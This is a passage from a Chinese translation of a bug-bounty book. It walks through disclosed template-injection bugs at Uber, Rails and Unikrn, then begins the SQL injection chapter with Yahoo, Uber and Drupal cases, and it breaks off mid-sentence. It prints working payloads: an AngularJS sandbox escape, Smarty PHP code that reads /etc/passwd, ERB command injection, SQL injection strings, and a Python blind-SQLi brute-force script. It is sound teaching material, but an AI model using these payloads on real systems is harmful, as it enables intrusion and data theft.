你可以在* pastebin.com/xMXwsm0N和 jsfiddle.net/89aj1n7m/*找到其他已发布的 AngularJS 沙箱绕过方法。
演示 CSTI 漏洞的严重性需要测试你可能执行的代码。虽然你可能能够评估一些 JavaScript 代码,但有些网站可能有额外的安全机制来防止利用。例如,我通过使用负载{{4+4}}发现了一个 CSTI 漏洞,这在使用 AngularJS 的网站上返回了8。但是当我使用{{4*4}}时,返回的文本是{{44}},因为该网站通过移除星号来清理输入。该字段还移除了特殊字符,例如()和[],并且最多允许 30 个字符。结合这些预防措施,CSTI 漏洞基本上变得无效。
Uber AngularJS 模板注入
难度: 高
来源: hackerone.com/reports/125027/
报告日期: 2016 年 3 月 22 日
奖励金额: $3,000
2016 年 3 月,PortSwigger(Burp Suite 的创建者)首席安全研究员 James Kettle 在一个 Uber 子域名中发现了一个 CSTI 漏洞,通过 URL https://developer.uber.com/docs/deep-linking?q=wrtz{{77}}*。如果在访问链接后查看渲染的页面源代码,你会看到字符串wrtz49,这表明模板已经计算了表达式7*7。
事实证明,developer.uber.com 使用 AngularJS 来渲染其网页。你可以通过使用像 Wappalyzer 或 BuiltWith 这样的工具,或者查看页面源代码并查找 ng- HTML 属性来确认这一点。如前所述,旧版本的 AngularJS 实现了 Sandbox,但 Uber 使用的版本存在 Sandbox 漏洞。因此,在这种情况下,CSTI 漏洞意味着你可以执行 XSS。
使用以下 JavaScript 代码在 Uber URL 中,Kettle 绕过了 AngularJS Sandbox 并执行了 alert 函数:
https://developer.uber.com/docs/deep-linking?q=wrtz{{(_="".sub).call.call({}
[$="constructor"].getOwnPropertyDescriptor(_.__proto__,$).value,0,"alert(1)")
()}}zzzz
对此有效载荷的解析超出了本书的范围,因为 AngularJS Sandbox 绕过的多种方法已经公开,并且 Sandbox 在版本 1.6 中被移除。但该有效载荷 alert(1) 的最终结果是一个 JavaScript 弹窗。这个概念验证向 Uber 演示了攻击者如何利用这个 CSTI 漏洞实现 XSS,从而可能导致开发者账户和相关应用程序被攻击。
重点总结
在确认一个站点是否使用客户端模板引擎后,通过提交简单的有效载荷,使用与该引擎相同的语法开始测试站点,例如对于 AngularJS 使用{{7*7}},并观察渲染结果。如果有效载荷被执行,在浏览器控制台中输入Angular.version来检查站点使用的 AngularJS 版本。如果版本大于 1.6,则可以提交来自上述资源的有效载荷而无需绕过 Sandbox。如果版本小于 1.6,则需要提交像 Kettle 那样的 Sandbox 绕过方法,具体取决于应用程序使用的 AngularJS 版本。
Uber Flask Jinja2 模板注入
难度: 中等
URL: riders.uber.com/
来源: hackerone.com/reports/125980/
报告日期: 2016 年 3 月 25 日
奖励金额: $10,000
在进行黑客攻击时,识别公司使用的技术是很重要的。当 Uber 在 HackerOne 上启动其公开的漏洞奖励计划时,它还在其网站上发布了一张“藏宝图”,网址为 eng.uber.com/bug-bounty/ (2017 年 8 月发布了修订版,网址为 medium.com/uber-security-privacy/uber-bug-bounty-treasure-map-17192af85c1a/)。这张地图列出了 Uber 运营的多个敏感属性,包括每个属性使用的软件。
在其地图中,Uber 透露 riders.uber.com 使用了 Node.js、Express 和 Backbone.js,这些技术并不立即显现为潜在的 SSTI 攻击向量。但是,网站 vault.uber.com 和 partners.uber.com 使用了 Flask 和 Jinja2。Jinja2 是一个服务器端模板引擎,如果实现不当,可能会允许远程代码执行。尽管 riders.uber.com 并未使用 Jinja2,但如果该网站向 vault 或 partners 子域提供输入,并且这些网站未对输入进行清理,那么攻击者可能会利用 SSTI 漏洞。
发现此漏洞的黑客 Orange Tsai,将 {{1+1}} 输入为他的名字,以开始测试 SSTI 漏洞。他查找是否有任何交互发生在子域之间。
在他的报告中,Orange 解释说,任何对 riders.uber.com 上的个人资料的更改都会导致发送电子邮件通知账户所有者变更情况——这是常见的安全做法。通过将他的名字更改为包含 {{1+1}},他收到了带有 2 的名字的电子邮件,如图 8-1 所示。

图 8-1:Orange 执行他注入到自己名字中的代码后收到的电子邮件
这一行为立即引起了警觉,因为 Uber 评估了他的表达式并将其替换为方程的结果。Orange 随后尝试提交 Python 代码 {% for c in [1,2,3]%} {{c,c,c}} {% endfor %} 以确认是否可以评估更复杂的操作。此代码遍历数组 [1,2,3],并将每个数字打印三次。图 8-2 中的电子邮件显示了 Orange 的名字作为九个数字,这是 for 循环执行后的结果,确认了他的发现。
Jinja2 还实现了一个沙箱,限制了执行任意代码的能力,但有时可以被绕过。在这种情况下,Orange 本可以做到这一点。

图 8-2:因 Orange 注入更复杂的代码而导致的电子邮件
Orange 在他的报告中仅报告了能够执行代码的能力,但他本可以将此漏洞利用得更进一步。在他的报告中,他将发现该漏洞所需的信息归功于 nVisium 的博客文章。但这些文章还包含了关于将 Jinja2 漏洞与其他概念结合使用时的额外信息。让我们稍作偏离,看看这些附加信息如何应用于 Orange 的漏洞,并查看 nVisium 的博客文章 nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html。
在博客文章中,nVisium 展示了如何通过使用自省这一面向对象编程概念来利用 Jinja2。自省是指在运行时检查对象的属性,看看有哪些数据可供访问。关于面向对象自省的具体细节超出了本书的范围。在这个漏洞的背景下,自省使得 Orange 能够执行代码并识别在注入发生时,模板对象可用的属性。一旦攻击者知道了这些信息,他们就可能找到可以利用的属性,从而实现远程代码执行;我将在第十二章中详细讨论这种漏洞类型。
当 Orange 发现这个漏洞时,他仅报告了执行必要代码以进行自省的能力,而没有进一步尝试利用该漏洞。最好采用 Orange 的方法,因为这样可以确保你不会执行任何无意的操作;同时,公司也可以评估漏洞的潜在影响。如果你有兴趣探索问题的完整严重性,可以在报告中询问公司是否允许继续测试。
要点总结
注意一个网站使用的技术;这些技术常常为你如何利用该网站提供线索。还要考虑这些技术如何相互作用。在这种情况下,Flask 和 Jinja2 是很好的攻击向量,尽管它们并未直接应用于存在漏洞的网站。与 XSS 漏洞类似,检查所有可能使用你输入的位置,因为漏洞可能不会立即显现。在这种情况下,恶意负载被作为纯文本渲染在用户的个人资料页面上,并且在发送电子邮件时执行了代码。
Rails 动态渲染
难度: 中等
网址: 不适用
来源: https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/
报告日期: 2015 年 2 月 1 日
赏金支付: 不适用
在 2016 年初,Ruby on Rails 团队披露了一个潜在的远程代码执行漏洞,该漏洞出现在他们处理渲染模板的方式中。nVisium 团队的一名成员识别了该漏洞,并提供了一个有价值的问题分析,分配了 CVE-2016-0752。Ruby on Rails 使用模型-视图-控制器架构(MVC)设计。在这种设计中,数据库逻辑(模型)与表现逻辑(视图)和应用逻辑(控制器)分开。MVC 是一种常见的编程设计模式,可以提高代码的可维护性。
在 nVisium 团队的报告中,解释了 Rails 控制器如何基于用户控制的参数推断出应该渲染哪个模板文件,这些控制器负责应用程序的逻辑。根据网站的开发方式,这些用户控制的参数可能会直接传递给负责传递数据给展示逻辑的render方法。漏洞可能出现在开发者将输入传递给render函数的情况下,比如调用render方法和params[:template],其中params[:template]的值是仪表板。在 Rails 中,所有来自 HTTP 请求的参数都可以通过params数组访问应用程序控制器的逻辑。在这种情况下,template参数被提交到 HTTP 请求中并传递给render函数。
这个行为值得注意,因为render方法并未向 Rails 提供具体的上下文;换句话说,它并没有提供文件路径或链接,而是自动决定应该返回哪个文件的内容。它能做到这一点是因为 Rails 强烈执行"约定优于配置"的原则:无论传递给render函数的模板参数值是什么,都用来扫描文件名并渲染内容。根据发现,Rails 会首先递归地搜索应用程序根目录/app/views。这是所有用于渲染用户内容的文件的常见默认文件夹。如果 Rails 未能找到匹配名称的文件,它会扫描应用程序根目录。如果仍然找不到文件,Rails 会扫描服务器根目录。
在 CVE-2016-0752 漏洞之前,恶意用户可以传递template=%2fetc%2fpasswd,然后 Rails 会首先在视图目录中查找文件/etc/passwd,接着在应用程序目录中查找,最后在服务器根目录中查找。假设你使用的是 Linux 机器且该文件是可读的,Rails 会打印出你的/etc/passwd文件。
根据 nVisium 的文章,Rails 使用的搜索顺序也可以用于任意代码执行,当用户提交模板注入时,例如<%25%3d`ls`%25>。如果网站使用的是默认的 Rails 模板语言 ERB,则此编码输入会被解释为``<%= ls %>,即列出当前目录下所有文件的 Linux 命令。尽管 Rails 团队已修复了这个漏洞,但你仍然可以测试 SSTI(服务器端模板注入),以防开发者将用户控制的输入传递给render inline:,因为inline:用于直接将 ERB 传递给render`函数。
重点总结
了解你正在测试的软件是如何工作的,这将帮助你发现漏洞。在这种情况下,任何使用render函数传递用户控制的输入的 Rails 站点都是脆弱的。了解 Rails 使用的设计模式无疑有助于发现这个漏洞。正如本例中的模板参数所示,当你控制的输入可能直接与内容渲染方式相关时,要留意可能出现的机会。
Unikrn Smarty 模板注入
难度: 中等
URL: N/A
来源: hackerone.com/reports/164224/
报告日期: 2016 年 8 月 29 日
奖励支付: $400
2016 年 8 月 29 日,我受邀参加当时的 Unikrn 私密漏洞悬赏计划,这是一个电子竞技博彩网站。在我对该站点的初步侦查中,我使用的 Wappalyzer 工具确认该站点使用了 AngularJS。这个发现让我警觉,因为我之前曾成功发现过 AngularJS 注入漏洞。我开始通过提交{{7*7}}并观察是否渲染出数字49来寻找 CSTI 漏洞,首先是我的个人资料页面。尽管我在个人资料页面没有成功,但我注意到你可以邀请朋友访问该站点,于是我也测试了该功能。
提交邀请后,我收到了如图 8-3 所示的奇怪邮件。

图 8-3:我收到的来自 Unikrn 的 Smarty 错误邮件
邮件的开头包含了一个堆栈跟踪,显示了一个 Smarty 错误,表明7*7没有被识别。看起来像是{{7*7}}被注入到了模板中,Smarty 试图评估该代码,但未能识别7*7。
我立即查阅了 James Kettle 关于模板注入的必读文章(* blog.portswigger.net/2015/08/server-side-template-injection.html ),测试了他提到的 Smarty 载荷(他还提供了一个很棒的 Black Hat 演讲,YouTube 上可以找到)。Kettle 特别提到了载荷{self::getStreamVariable("file:///proc/self/loginuuid")},它调用getStreamVariable方法读取文件/proc/self/loginuuid*。我尝试了他分享的载荷,但没有收到输出。
现在我对自己的发现感到怀疑。但随后,我搜索了 Smarty 文档中的保留变量,找到了返回当前使用的 Smarty 版本的{$smarty.version}变量。我将我的个人资料名称更改为{$smarty.version},并重新邀请自己访问该站点。结果是我收到了一个邀请邮件,邮件中使用了 2.6.18 作为我的名字,这正是站点上安装的 Smarty 版本。我的注入得以执行,我的信心也恢复了。
当我继续阅读文档时,我了解到可以使用标签{php} {/php}来执行任意的 PHP 代码(Kettle 在他的文章中特别提到了这些标签,但我完全没有注意到)。于是,我尝试了负载{php}print "Hello"{/php}作为我的名字,并再次提交了邀请。随后收到的邮件中指出是 Hello 邀请我加入该网站,确认我已经执行了 PHP 的print函数。
作为最终测试,我想提取/etc/passwd文件,以向赏金计划展示这个漏洞的潜力。虽然/etc/passwd文件并不关键,但访问它通常作为标志,表明远程代码执行漏洞的存在。所以我使用了以下负载:
{php}$s=file_get_contents('/etc/passwd');var_dump($s);{/php}
这段 PHP 代码打开/etc/passwd文件,使用file_get_contents读取文件内容,并将内容赋值给变量$s。一旦$s被设置,我通过var_dump输出该变量的内容,期望我收到的邮件中会包含/etc/passwd文件的内容,作为邀请我加入 Unikrn 网站的人的名字。但奇怪的是,我收到的邮件中名字为空白。
我想知道 Unikrn 是否限制了名字的长度。这次我搜索了 PHP 文档中的file_get_contents,文档详细说明了如何限制每次读取的数据量。我将负载更改为如下:
{php}$s=file_get_contents('/etc/passwd',NULL,NULL,0,100);var_dump($s);{/php}
这个负载中的关键参数是'/etc/passwd'、0和100。路径指向要读取的文件,0指示 PHP 从文件中的哪里开始读取(在本例中是从文件开头),而100表示要读取的数据长度。我使用这个负载重新邀请自己加入 Unikrn,结果产生了如图 8-4 所示的邮件。

图 8-4:Unikrn 邀请邮件显示/etc/passwd文件内容
我成功执行了任意代码,并作为概念验证,每次提取/etc/passwd文件的 100 个字符。在我提交报告后,漏洞在一小时内得到了修复。
收获
处理这个漏洞的过程非常有趣。最初的堆栈追踪是一个明显的警告,表明某些地方出问题了,正如谚语所说,“哪里有烟,哪里就有火”。如果你发现潜在的 SSTI 漏洞,一定要仔细阅读文档,确定如何最佳地进行操作——并保持坚持。
总结
在寻找漏洞时,最好确认底层技术(无论是 web 框架、前端渲染引擎还是其他技术),以便识别可能的攻击面和测试思路。各种模板引擎的多样性使得很难确定哪些方法在所有情况下有效,但了解所使用的技术有助于克服这个挑战。当你控制的文本被渲染时,留意出现的漏洞机会。此外,也要记住,漏洞可能不会立即显现,但可能仍然存在于其他功能中,比如邮件中。
第九章:SQL 注入

当数据库支持的网站上的漏洞允许攻击者使用SQL(结构化查询语言)查询或攻击该站点的数据库时,这种攻击被称为SQL 注入(SQLi)。通常,SQLi 攻击的回报极高,因为它们可能造成严重损害:攻击者可以操纵或提取信息,甚至为自己创建数据库中的管理员登录。
SQL 数据库
数据库将信息存储在包含字段的记录中,这些记录位于一组表中。表包含一个或多个列,表中的一行代表数据库中的一条记录。
用户依赖 SQL 来创建、读取、更新和删除数据库中的记录。用户向数据库发送 SQL 命令(语句或查询),然后—假设命令被接受—数据库解释语句并执行某些操作。常见的 SQL 数据库包括 MySQL、PostgreSQL、MSSQL 等。在本章中,我们将使用 MySQL,但这些基本概念适用于所有 SQL 数据库。
SQL 语句由关键字和函数组成。例如,以下语句告诉数据库从users表中的name列选择信息,条件是ID列的值等于1。
SELECT name FROM users WHERE id = 1;
许多网站依赖数据库来存储信息,并使用这些信息动态生成内容。例如,如果网站https://www.
以下是服务器 PHP 代码的理论示例,展示了在用户访问https://www.
$name = ➊$_GET['name'];
$query = "SELECT * FROM users WHERE name = ➋'$name' ";
➌ mysql_query($query);
代码使用$_GET[] ➊来访问 URL 参数中指定的 name 值,并将该值存储在$name变量中。然后,该参数被传递给$query变量 ➋,而没有进行任何清理。$query变量表示要执行的查询,并从users表中提取所有数据,其中name列的值与name URL 参数中的值匹配。查询通过将$query变量传递给 PHP 函数mysql_query ➌来执行。
该站点期望name包含常规文本。但如果用户在 URL 参数中输入恶意输入test' OR 1='1,例如https://www.example.com?name=test' OR 1='1,执行的查询将是:
$query = "SELECT * FROM users WHERE name = 'test➊' OR 1='1➋' ";
恶意输入关闭了test值后的单引号(') ➊,并在查询末尾添加了 SQL 代码OR 1='1。OR 1='1中的悬挂单引号打开了硬编码在➋之后的闭合单引号。如果注入的查询没有包含一个开头的单引号,悬挂的引号将导致 SQL 语法错误,从而阻止查询的执行。
SQL 使用条件操作符AND和OR。在这种情况下,SQL 注入修改了WHERE子句,搜索name列匹配test或等式1='1'返回true的记录。MySQL 很贴心地将'1'视为整数,因为1总是等于1,所以条件为true,查询返回users表中的所有记录。但当查询的其他部分已被净化时,注入test' OR 1='1将不起作用。例如,你可能会使用像这样的查询:
$name = $_GET['name'];
$password = ➊mysql_real_escape_string($_GET['password']);
$query = "SELECT * FROM users WHERE name = '$name' AND password = '$password' ";
在这种情况下,password参数也是由用户控制的,但已正确净化➊。如果你使用相同的有效载荷,test' OR 1='1,作为用户名,并且密码为 12345,那么你的语句将如下所示:
$query = "SELECT * FROM users WHERE name = 'test' OR 1='1' AND password = '12345' ";
该查询会查找所有记录,其中name为test或1='1',并且password为12345(我们将忽略这个数据库存储明文密码的事实,这是另一个漏洞)。因为密码检查使用了AND操作符,所以除非某条记录的密码是12345,否则该查询不会返回数据。尽管这破坏了我们尝试的 SQL 注入攻击,但它并没有阻止我们尝试其他攻击方法。
我们需要消除password参数,可以通过添加;--, test' OR 1='1;--来实现。这次注入完成了两个任务:分号(;)结束了 SQL 语句,而两个破折号(--)告诉数据库后面的文本是注释。这个注入参数将查询更改为SELECT * FROM users WHERE name = 'test' OR 1='1';。语句中的AND password = '12345'部分变成了注释,因此该命令会返回表中的所有记录。当使用--作为注释时,请记住,MySQL 要求在破折号后和剩余的查询之间有一个空格。否则,MySQL 将返回错误并不会执行命令。
SQL 注入防范措施
防止 SQL 注入的一种保护措施是使用预处理语句,这是一种数据库特性,能够执行重复的查询。预处理语句的具体细节超出了本书的范围,但它们能防止 SQL 注入,因为查询不再是动态执行的。数据库像模板一样使用查询,并为变量留有占位符。因此,即使用户将未经净化的数据传递给查询,注入也无法修改数据库的查询模板,从而防止 SQL 注入。
网络框架,如 Ruby on Rails、Django、Symphony 等,也提供内置的保护措施来帮助防止 SQL 注入。但它们并不完美,无法在所有地方防止这种漏洞。你刚刚看到的两个简单的 SQL 注入示例通常不会在使用框架的网站上生效,除非网站开发人员没有遵循最佳实践或没有意识到保护措施并非自动提供。例如,网站rails-sqli.org/维护了 Rails 中由开发者错误导致的常见 SQL 注入模式列表。在测试 SQL 注入漏洞时,最好的办法是寻找看起来是定制开发的旧网站,或使用没有当前系统内置保护的 Web 框架和内容管理系统。
Yahoo! Sports 盲 SQL 注入
难度: 中等
网址: sports.yahoo.com
来源: 无
报告日期: 2014 年 2 月 16 日
赏金支付: $3,705
盲 SQL 注入漏洞发生在你能够将 SQL 语句注入到查询中,但无法获取查询的直接输出时。利用盲注的关键是通过比较未修改和修改过的查询结果来推断信息。例如,在 2014 年 2 月,Stefano Vettorazzi 在测试 Yahoo! Sports 子域时发现了盲 SQL 注入。该页面通过 URL 接收参数,查询数据库以获取信息,并根据参数返回 NFL 球员的列表。
Vettorazzi 更改了以下网址,该网址返回了 2010 年的 NFL 球员,从这个:
sports.yahoo.com/nfl/draft?year=2010&type=20&round=2
改为如下:
sports.yahoo.com/nfl/draft?year=2010--&type=20&round=2
Vettorazzi 在第二个网址的year参数中添加了两个连字符(--)。图 9-1 显示了 Vettorazzi 添加两个连字符之前 Yahoo!页面的样子。图 9-2 显示了 Vettorazzi 添加连字符后的结果。
图 9-1 中返回的球员与图 9-2 中返回的不同。我们看不到实际的查询,因为代码在网站的后台。但原始查询很可能将每个 URL 参数传递给一个 SQL 查询,查询大致如下:
SELECT * FROM players WHERE year = 2010 AND type = 20 AND round = 2;
通过在year参数中添加两个连字符,Vettorazzi 将查询改为如下:
SELECT * FROM PLAYERS WHERE year = 2010-- AND type = 20 AND round = 2;

图 9-1:Yahoo!带有未修改年份参数的球员搜索结果

图 9-2:Yahoo!带有修改过的年份参数(包括--)的球员搜索结果
这个 Yahoo!的漏洞略显不同,因为大多数(如果不是全部)数据库中的查询必须以分号结束。由于 Vettorazzi 只注入了两个破折号并将查询的分号注释掉,这个查询应该会失败,并返回错误或者没有记录。一些数据库可以处理没有分号的查询,因此 Yahoo!可能在使用这种功能,或者它的代码以其他方式处理了这个错误。无论如何,在 Vettorazzi 意识到查询返回了不同的结果之后,他尝试通过提交以下代码作为year参数来推断该网站使用的数据库版本:
(2010)and(if(mid(version(),1,1))='5',true,false))--
MySQL 数据库的version()函数返回当前使用的 MySQL 数据库版本。mid函数根据其第二和第三个参数返回传递给第一个参数的字符串的一部分。第二个参数指定子字符串的起始位置,第三个参数指定子字符串的长度。Vettorazzi 通过调用version()函数检查该网站是否使用 MySQL。然后,他通过传递mid函数的第一个参数为1(起始位置)和第二个参数为1(子字符串长度)来获取版本号的第一个数字。代码通过if语句检查 MySQL 版本的第一个数字。
if语句有三个参数:一个逻辑检查、检查为真时执行的操作,以及检查为假时执行的操作。在这种情况下,代码检查version的第一个数字是否为5;如果是,查询返回true。如果不是,查询返回false。
然后 Vettorazzi 将真/假输出与year参数通过and运算符连接,因此如果 MySQL 数据库的主版本是 5,2010 年的玩家将会出现在 Yahoo!网页上。这个查询之所以有效,是因为条件2010 and true会返回true,而2010 and false会返回false并且不返回任何记录。Vettorazzi 执行查询时没有返回任何记录,如图 9-3 所示,这意味着version返回的值的第一个数字不是5。

图 9-3:当代码检查数据库版本是否以数字 5 开头时,Yahoo!的玩家搜索结果为空。
这个漏洞是一个盲目 SQL 注入(blind SQLi),因为 Vettorazzi 不能直接在页面上注入查询并查看输出。但 Vettorazzi 仍然能够找到有关该站点的信息。通过插入布尔检查,比如版本检查的if语句,Vettorazzi 可以推断出他需要的信息。他本可以继续从 Yahoo!数据库中提取更多信息。但是,通过他的测试查询找到 MySQL 版本信息已经足够确认 Yahoo!存在这个漏洞。
总结
SQLi 漏洞像其他注入漏洞一样,并不总是很难利用。找到 SQLi 漏洞的一种方法是测试 URL 参数并查看查询结果是否有微妙的变化。在本例中,添加双短横线改变了 Vettorazzi 的基准查询结果,从而暴露了 SQLi 漏洞。
Uber Blind SQLi
难度: 中等
网址: http://sctrack.email.uber.com.cn/track/unsubscribe.do/
来源: hackerone.com/reports/150156/
报告日期: 2016 年 7 月 8 日
奖励金额: $4,000
除了网页外,你还可以在其他地方发现盲 SQLi 漏洞,比如电子邮件链接。2016 年 7 月,Orange Tsai 收到了来自 Uber 的一封电子邮件广告。他注意到取消订阅链接中包含了一个 base64 编码的字符串作为 URL 参数。链接看起来像这样:
解码 p 参数值 eyJ1c2VyX2lkIjogIjU3NTUiLCAicmVjZWl2ZXIiOiAib3JhbmdlQG15bWFpbCJ9 使用 base64 返回的 JSON 字符串是 {"user_id": "5755", "receiver": "orange@mymail"}。对于解码后的字符串,Orange 在编码后的 p URL 参数中添加了代码 and sleep(12) = 1。这个无害的附加代码使得数据库响应取消订阅操作的时间延长至 12 秒 {"user_id": "5755 and sleep(12)=1", "receiver": "orange@mymail"}。如果网站存在漏洞,查询执行会评估 sleep(12),并且在比较 sleep 命令的输出与 1 之前,执行会暂停 12 秒。在 MySQL 中,sleep 命令通常返回 0,因此这个比较会失败。但这并不重要,因为执行将至少延迟 12 秒。
在 Orange 重新编码修改后的负载并将其传递给 URL 参数后,他访问了取消订阅链接,确认 HTTP 响应至少延迟了 12 秒。意识到他需要更具体的 SQLi 证据以便发送给 Uber,他通过暴力破解导出了用户名、主机名和数据库名。通过这种方式,他证明了自己可以从 SQLi 漏洞中提取信息,而无需访问机密数据。
一个名为 user 的 SQL 函数返回数据库的用户名和主机名,形式为 user。相反,Orange 修改了查询,增加了一个条件检查,当查询查找他的用户 ID 时,使用 mid 函数逐一比较数据库用户名和主机名字符串的每个字符。与之前的 Yahoo! Sports 盲 SQLi 漏洞类似,Orange 使用了比较语句和暴力破解来推导用户名和主机名字符串的每个字符。
例如,Orange 使用 mid 函数获取 user 函数返回值的第一个字符。然后他比较该字符是否等于 'a',然后是 'b',然后是 'c',以此类推。如果比较语句为真,服务器将执行取消订阅命令。这个结果表明 user 函数的返回值的第一个字符与正在比较的字符相等。如果语句为假,服务器将不会尝试取消订阅 Orange。通过使用这种方法检查 user 函数返回值的每个字符,Orange 最终能够推导出整个用户名和主机名。
手动暴力破解一个字符串需要时间,因此 Orange 创建了一个 Python 脚本,代表他生成并提交有效负载给 Uber,具体如下:
➊ import json
import string
import requests
from urllib import quote
from base64 import b64encode
➋ base = string.digits + string.letters + '_-@.'
➌ payload = {"user_id": 5755, "receiver": "blog.orange.tw"}
➍ for l in range(0, 30):
➎ for i in base:
➏ payload['user_id'] = "5755 and mid(user(),%d,1)='%c'#"%(l+1, i)
➐ new_payload = json.dumps(payload)
new_payload = b64encode(new_payload)
r = requests.get('http://sctrack.email.uber.com.cn/track/unsubscribe.
do?p='+quote(new_payload))
➑ if len(r.content)>0:
print i,
break
Python 脚本以五行import语句开始➊,这些语句加载了 Orange 需要用来处理 HTTP 请求、JSON 和字符串编码的库。
数据库的用户名和主机名可以由大写字母、小写字母、数字、连字符(-)、下划线(_)、@符号(@)或句点(.)的任意组合构成。在 ➋ 处,Orange 创建了 base 变量来保存这些字符。 ➌ 处的代码创建了一个变量来保存脚本发送到服务器的有效负载。 ➏ 处的代码是注入部分,使用了 ➍ 和 ➎ 处的 for 循环。
让我们详细查看 ➏ 处的代码。Orange 使用字符串user_id来引用他的用户 ID 5755,这个字符串在 ➌ 处已定义,以创建他的有效负载。他使用 mid 函数和字符串处理构造了一个类似于本章前面提到的 Yahoo! 漏洞的有效负载。有效负载中的 %d 和 %c 是字符串替换占位符。%d 表示一个数字数据,而 %c 表示字符数据。
有效负载字符串从第一个双引号(")开始,到第二对双引号结束,在第三个百分号符号前结束 ➏ 处。第三个百分号符号告诉 Python 替换 %d 和 %c 占位符,并用括号中的百分号后面的值来替代它们。所以代码将 %d 替换为 l+1(变量 l 加上数字 1),将 %c 替换为变量 i。井号(#)是 MySQL 中另一种注释的方式,它将 Orange 的注入部分后面的查询内容标记为注释。
l和i变量是➍和➎处的循环迭代器。第一次进入➍处的l in range (0,30)时,l将是0。l的值是user函数返回的用户名和主机名字符串中的位置,脚本正在尝试暴力破解。一旦脚本确定了正在测试的用户名和主机名字符串中的位置,代码将在➎处进入一个嵌套循环,遍历base字符串中的每个字符。脚本第一次遍历这两个循环时,l将是0,i将是a。这些值会传递给➏处的mid函数,生成有效负载`"5755 and mid(user(),0,1)='a'#"。
在下一次嵌套for循环的迭代中,l的值仍然是0,i将是b,以创建有效负载"5755 and mid(user(),0,1)='b'#"。l的位置将保持不变,随着循环遍历base`中的每个字符来创建➏处的有效负载。
每次创建新的有效负载时,➐处的代码将有效负载转换为 JSON,使用base64encode函数对字符串重新编码,并发送 HTTP 请求到服务器。➑处的代码检查服务器是否返回消息。如果i中的字符与正在测试的位置的用户名子字符串匹配,脚本会停止测试该位置的字符,并继续测试user字符串中的下一个位置。嵌套循环会中断,并返回到➍处的循环,➍处的代码将l增加1,以测试用户名字符串的下一个位置。
这个概念证明让 Orange 确认数据库用户名和主机名是sendcloud_w@10.9.79.210,数据库名是sendcloud(要获取数据库名,将➏处的user替换为database)。在报告回应中,Uber 确认 SQLi 并未发生在其服务器上。注入发生在 Uber 使用的第三方服务器上,但 Uber 仍然支付了奖励。并非所有赏金项目都会这样做。Uber 可能支付了赏金,因为该漏洞允许攻击者从sendcloud数据库中导出 Uber 所有客户的电子邮件地址。
尽管像 Orange 一样编写自己的脚本来从一个易受攻击的网站转储数据库信息是可行的,但你也可以使用自动化工具。附录 A 包含了关于一种名为 sqlmap 的工具的信息。
要点
注意接受编码参数的 HTTP 请求。解码后,将查询注入请求中时,请确保重新编码有效负载,以确保一切仍然符合服务器预期的编码。
提取数据库名、用户名和主机名通常是无害的,但请确保这些操作在你参与的赏金项目的允许范围内。在某些情况下,sleep命令就足以证明概念。
Drupal SQLi
难度: 难
URL: 任何使用 7.32 版本或更早版本的 Drupal 站点
来源: hackerone.com/reports/31756/
报告日期: 2014 年 10 月 17 日
赏金支付: $3,000
Drupal 是一个流行的开源内容管理系统,用于构建网站,类似于 Joomla! 和 WordPress。它是用 PHP 编写的,并且是 模块化 的,这意味着你可以将新的功能单元安装到 Drupal 网站中。每个 Drupal 安装都包含 Drupal 核心,它是一组运行平台的模块。这些核心模块需要连接到数据库,比如 MySQL。
2014 年,Drupal 发布了一个紧急安全更新,以修复 Drupal 核心的漏洞,因为所有的 Drupal 网站都容易受到 SQL 注入漏洞的攻击,匿名用户也可以轻易滥用这个漏洞。该漏洞的影响允许攻击者接管任何未修补的 Drupal 网站。Stefan Horst 发现了这个漏洞,当时他注意到 Drupal 核心的预处理语句功能存在一个 bug。
Drupal 的漏洞发生在 Drupal 的数据库应用程序编程接口(API)中。Drupal API 使用 PHP 数据对象(PDO)扩展,它是一个用于在 PHP 中访问数据库的 接口。接口是一个编程概念,它保证了函数的输入和输出,但不定义函数是如何实现的。换句话说,PDO 隐藏了数据库之间的差异,因此程序员可以使用相同的函数来查询和获取数据,而不管数据库的类型。PDO 支持预处理语句。
Drupal 创建了一个数据库 API 来使用 PDO 功能。该 API 创建了一个 Drupal 数据库抽象层,因此开发者不必直接使用自己的代码查询数据库。但他们仍然可以使用预处理语句,并且可以将代码与任何数据库类型一起使用。API 的具体细节超出了本书的范围。但你需要知道,API 会生成 SQL 语句来查询数据库,并且具有内建的安全检查来防止 SQL 注入漏洞。
记住,预处理语句可以防止 SQL 注入漏洞,因为攻击者无法通过恶意输入修改查询结构,即使输入没有经过清理。但如果注入发生在模板创建过程中,预处理语句也无法防止 SQL 注入漏洞。如果攻击者可以在模板创建过程中注入恶意输入,他们可以创建自己的恶意预处理语句。Horst 发现的漏洞就是因为 SQL 的 IN 子句,它用于查找存在于一组值中的值。例如,代码 SELECT * FROM users WHERE name IN ('peter', 'paul', 'ringo'); 会从 users 表中选择 name 列值为 peter、paul 或 ringo 的数据。
为了理解为什么 IN 子句存在漏洞,我们来看看 Drupal API 背后的代码:
$this->expandArguments($query, $args);
$stmt = $this->prepareQuery($query);
$stmt->execute($args, $options);
expandArguments函数负责构建使用IN子句的查询。在expandArguments构建查询后,它将查询传递给prepareQuery,后者构建准备好的语句,而execute函数执行这些语句。为了理解这个过程的重要性,我们再来看一下expandArguments的相关代码:
--snip--
➊ foreach(array_filter($args, `is_array`) as $key => $data) {
➋ $new_keys = array();
➌ foreach ($data as $i => $value) {
--snip--
➍ $new_keys[$key . '_' . $i] = $value;
}
--snip--
}
这段 PHP 代码使用了数组。PHP 可以使用关联数组,显式地定义键,如下所示:
['red' => 'apple', 'yellow' => 'banana']
该数组的键是'red'和'yellow',而数组的值是箭头(=>)右侧的水果。
另外,PHP 也可以使用结构化数组,如下所示:
['apple', 'banana']
结构化数组的键是隐式的,基于值在列表中的位置。例如,'apple'的键是0,'banana'的键是1。
foreach PHP 函数遍历数组,并可以将数组的键和值分开。它还可以将每个键和值分别赋给变量,并将它们传递给代码块进行处理。在➊处,foreach获取数组的每个元素,并通过调用array_filter($args, 'is_array')验证传递给它的值是否为数组。经过声明确认它具有数组值后,它将每个数组的键赋值给$key,每个值赋给$data,用于foreach循环的每次迭代。代码会修改数组中的值以创建占位符,因此在➋处,代码初始化了一个新的空数组,用于稍后保存占位符值。
为了创建占位符,代码在➌处通过将每个键赋给$i,每个值赋给$value,遍历$data数组。然后在➍处,初始化于➋的new_keys数组包含了第一个数组的键与➌处的键的连接。代码的目标是创建看起来像name_0、name_1等数据占位符。
下面是使用 Drupal 的db_query函数查询数据库时,一个典型查询的样子:
db_query("SELECT * FROM {users} WHERE name IN (:name)",
